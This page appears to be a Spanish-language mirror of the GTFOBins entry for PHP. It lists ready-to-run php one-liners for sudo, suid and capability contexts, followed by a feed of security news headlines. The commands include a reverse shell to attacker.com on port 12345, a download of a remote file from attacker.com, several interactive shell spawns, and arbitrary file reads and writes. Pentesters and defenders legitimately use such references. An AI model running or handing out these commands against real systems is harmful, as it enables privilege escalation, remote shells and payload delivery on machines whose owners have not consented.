Ir al contenido
root@defcon-rd // ./arsenal/gtfobins/php

php

/ binary
php
/ functions
7
/ contexts
4
/ aliases
./php --examples

Funciones y ejemplos de uso

command

sudo suid unprivileged
php -r 'echo shell_exec("/path/to/command");'
sudo suid unprivileged
php -r '$r=array(); exec("/path/to/command", $r); print(join("\n",$r));'
sudo suid unprivileged
php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe", "w"));$h = @proc_open("/path/to/command", $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'

download

sudo suid unprivileged
php -r '$c=file_get_contents("http://attacker.com/path/to/input-file"); file_put_contents("/path/to/output-file", $c);'

file-read

sudo suid unprivileged
php -r 'readfile("/path/to/input-file");'

file-write

sudo suid unprivileged
php -r 'file_put_contents("/path/to/output-file", "DATA");'

reverse-shell

sudo suid unprivileged
php -r '$sock=fsockopen("attacker.com",12345);exec("/bin/sh -i 0<&3 1>&3 2>&3");'

shell

capabilities sudo suid unprivileged
php -r 'system("/bin/sh -i");'
capabilities sudo suid unprivileged
php -r 'passthru("/bin/sh -i");'
capabilities sudo suid unprivileged
php -r '$h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'
capabilities sudo suid unprivileged
php -r 'pcntl_exec("/bin/sh");'

upload

sudo suid unprivileged
php -S 0.0.0.0:80
./related --binary=php

Binarios relacionados

Comparten al menos una función con php.

CYBER ALERT
The Hacker News :: RedWing MaaS Packages Android Bank Fraud as a Telegram Rental Service The Hacker News :: Rogue Agent Flaw Could Have Let Attackers Hijack Google Dialogflow CX Chatbots The Hacker News :: DEBULL Tooling Abuses Microsoft Device-Code Flow to Target M365 Accounts The Hacker News :: Public GitHub Issue Could Trick GitHub Agentic Workflows Into Leaking Private Repo Data The Hacker News :: Court Filing Reveals Windows Device ID Helped FBI Trace Alleged Scattered Spider Hacker The Hacker News :: Writer AI Flaw Could Let Agent Previews Leak Session Tokens Across Tenants SANS ISC :: More Odd DNS Records: NIMLOC, (Tue, Jul 7th) The Hacker News :: What Changes When Your Software Supply Chain Includes AI Writing Your Code? InfoSecurity Magazine :: Suspected Chinese Threat Group Targets Universities via Vulnerable Roundcube Servers The Hacker News :: Suspected China-Aligned Hackers Exploit Roundcube Flaws Against Universities InfoSecurity Magazine :: Scattered Spider’s Structure More Like a Cybercrime Collective Than a Unified Gang The Hacker News :: CERT/CC Warns of Hidden Admin Backdoor in Tenda Router Firmware The Hacker News :: BeyondTrust Patches Critical Auth Bypass Flaws in Remote Support and PRA InfoSecurity Magazine :: UK Government Launches Cyber Resilience Pledge, Claiming 60+ Signatories InfoSecurity Magazine :: Hackers Exploit Maximum Severity Adobe ColdFusion Flaw InfoSecurity Magazine :: Phishing Attacks Targeted Facebook Users With Fake Verification Offer SANS ISC :: ISC Stormcast For Tuesday, July 7th, 2026 https://isc.sans.edu/podcastdetail/9996, (Tue, Jul 7th) The Hacker News :: Iran-Linked Hackers Use New Cavern C2 Framework to Target Israeli Organizations The Hacker News :: 16-Year-Old Linux KVM Flaw Lets Guest VMs Escape to Host on Intel and AMD x86 Systems The Hacker News :: Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure